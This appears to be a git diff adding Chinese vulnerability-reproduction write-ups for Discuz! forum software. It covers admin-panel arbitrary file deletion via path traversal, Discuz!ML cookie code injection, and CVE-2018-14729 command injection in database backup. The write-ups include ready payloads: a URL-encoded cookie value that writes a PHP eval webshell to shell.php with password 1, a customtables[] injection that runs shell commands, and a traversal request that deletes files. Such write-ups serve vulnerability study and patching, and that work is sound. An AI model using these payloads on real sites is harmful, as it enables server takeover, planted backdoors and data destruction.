![](./resource/Discuz!X3.4前台ssrf/media/rId36.png)
参考链接
--------
> [http://www.rai4over.cn/2018/12/07/Discuz-3-4%E5%89%8D%E5%8F%B0%E6%9C%89%E9%99%90%E5%88%B6SSRF%E6%BC%8F%E6%B4%9E/index.html](http://www.rai4over.cn/2018/12/07/Discuz-3-4前台有限制SSRF漏洞/index.html)

Binary file not shown.

After

Width:  |  Height:  |  Size: 389 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 317 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 443 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 119 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 242 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 309 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 518 KiB

View File

@ -0,0 +1,77 @@
Discuz! X3.4 后台任意文件删除
=============================
一、漏洞简介
------------
后台任意文件删除,需要有管理员的权限。
二、漏洞影响
------------
Discuz!X V3.4
三、复现过程
------------
### 漏洞分析
分析一下该请求的流程。
请求URL`/dz/upload/admin.php?action=forums&operation=edit&fid=2&replybgnew=../../../testfile.txt&delreplybg=1`
`admin.php`中接收了action参数在第58行经过`admincpfile`函数处理后返回文件路径,并包含该文件。
if($admincp->allow($action, $operation, $do) || $action == 'index') {
require $admincp->admincpfile($action);
看一下该函数的处理过程:
function admincpfile($action) {
return './source/admincp/admincp_'.$action.'.php';
}
经过处理返回的内容是:`./source/admincp/admincp_forums.php`,也就来到了漏洞存在的地方。
根据if/else的判断条件进入else中的代码
if(!submitcheck('detailsubmit')) {
......
}
else{
}
造成漏洞的代码:
if(!$multiset) {
if($_GET['delreplybg']) {
$valueparse = parse_url($_GET['replybgnew']);
if(!isset($valueparse['host']) && file_exists($_G['setting']['attachurl'].'common/'.$_GET['replybgnew'])) {
@unlink($_G['setting']['attachurl'].'common/'.$_GET['replybgnew']);
}
$_GET['replybgnew'] = '';
}
`$multiset`默认为0只要不给该参数赋值就满足条件进入if语句。
第二个if语句检查GET参数`delreplybg`有没有内容然后做了下检测检测parse\_url函数返回的结果中有没有host这个变量来确保GET参数`replybgnew`不是url但是并不影响传入文件路径。
这里`$_G['setting']['attachurl'`的值为`data/attachment/`,再拼接上`common/``$_GET['replybgnew']`这样路径就可控了。通过unlink达到文件删除的目的。
### 漏洞复现
登陆后台,进入论坛-\>模块管理-\>编辑板块使用burp拦截提交的数据。
![](./resource/Discuz!X3.4后台任意文件删除/media/rId26.png)
![](./resource/Discuz!X3.4后台任意文件删除/media/rId27.png)
发送,查看文件发现被删除。
![](./resource/Discuz!X3.4后台任意文件删除/media/rId28.png)
参考链接
--------
> https://xz.aliyun.com/t/7492\#toc-7

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 276 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 148 KiB

View File

@ -0,0 +1,33 @@
Discuz!ML 3.x 代码执行漏洞
==========================
一、漏洞简介
------------
漏洞类型代码执行漏洞漏洞原因Discuz!ML
系统对cookie中的l接收的language参数内容未过滤导致字符串拼接从而执行php代码。
二、影响范围
------------
- Discuz!ML V3.2-3.4
三、复现过程
------------
cookie字段中会出现xxxx\_xxxx\_language字段根本原因就是这个字段存在注入导致的RCE抓包找到cookie的language的值修改为
xxxx_xxxx_language=sc'.phpinfo().'
getshell
%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27
实际为:
'.+file_put_contents('shell.php',urldecode('<?php eval($_POST["1"]);?>')).'
即可在路径下生成shell.php连接密码为1
https://github.com/ianxtianxt/discuz-ml-rce
-------------------------------------------

View File

@ -0,0 +1,100 @@
CVE-2018-14729Discuz!X 1.5 \~ X2.5 后台数据库备份功能远程命令执行 Getshell
==============================================================================
一、漏洞简介
------------
二、漏洞影响
------------
Discuz! X1.5-2.5
三、复现过程
------------
### 漏洞分析
需要注意的是这个漏洞其实是需要登录后台的,并且能有数据库备份权限,所以比较鸡肋。
我这边是用Discuz! 2.5完成漏洞复现的,并用此进行漏洞分析的。
漏洞点在:
source/admincp/admincp_db.php
第296行
@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);
在shell\_exec()函数中可控点在\$tablesstr向上看到第281行
$tablesstr = '';
foreach($tables as $table) {
$tablesstr .= '"'.$table.'" ';
}
跟一下\$table的获取流程在上面的第143行
if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc')
{
$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
}
elseif($_GET['type'] == 'custom')
{
$tables = array();
if(empty($_GET['setup']))
{
$tables = C::t('common_setting')->fetch('custombackup', true);
}
else
{
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
$tables = & $_GET['customtables'];
}
if( !is_array($tables) || empty($tables))
{
cpmsg('database_export_custom_invalid', '', 'error');
}
}
可以看到:
C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
$tables = & $_GET['customtables'];
首先会从\$\_GET的数组中获取customtables字段的内容判断内容是否为空不为空则将从外部获取到的customtables字段内容写入common\_setting表的skey=custombackup的svalue字段写入过程中会将这个字段做序列化存储
![](./resource/(CVE-2018-14729)Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId25.jpg)
之后再将该值赋给\$tables。
至此可以看到漏洞产生的原因是由于shell\_exec()中的\$tablesstr可控导致代码注入。
### 漏洞复现
首先抓个包
![](./resource/(CVE-2018-14729)Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId27.jpg)
这样可以抓到符合我们条件的请求包。
![](./resource/(CVE-2018-14729)Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId28.jpg)
接下来只需要将customtables的内容更改一下就可以造成命令执行了
customtables[] = pre_common_admincp_cmenu">aaa; echo '<?php phpinfo(); ?>' > phpinfo.php #
![](./resource/(CVE-2018-14729)Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId29.jpg)
![](./resource/(CVE-2018-14729)Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId30.jpg)
效果为:
![](./resource/(CVE-2018-14729)Discuz!X1.5~X2.5后台数据库备份功能远程命令执行Getshell/media/rId31.jpg)
参考链接
--------
> https://github.com/FoolMitAh/CVE-2018-14729/blob/master/Discuz\_backend\_getshell.md
>
> https://www.anquanke.com/post/id/158270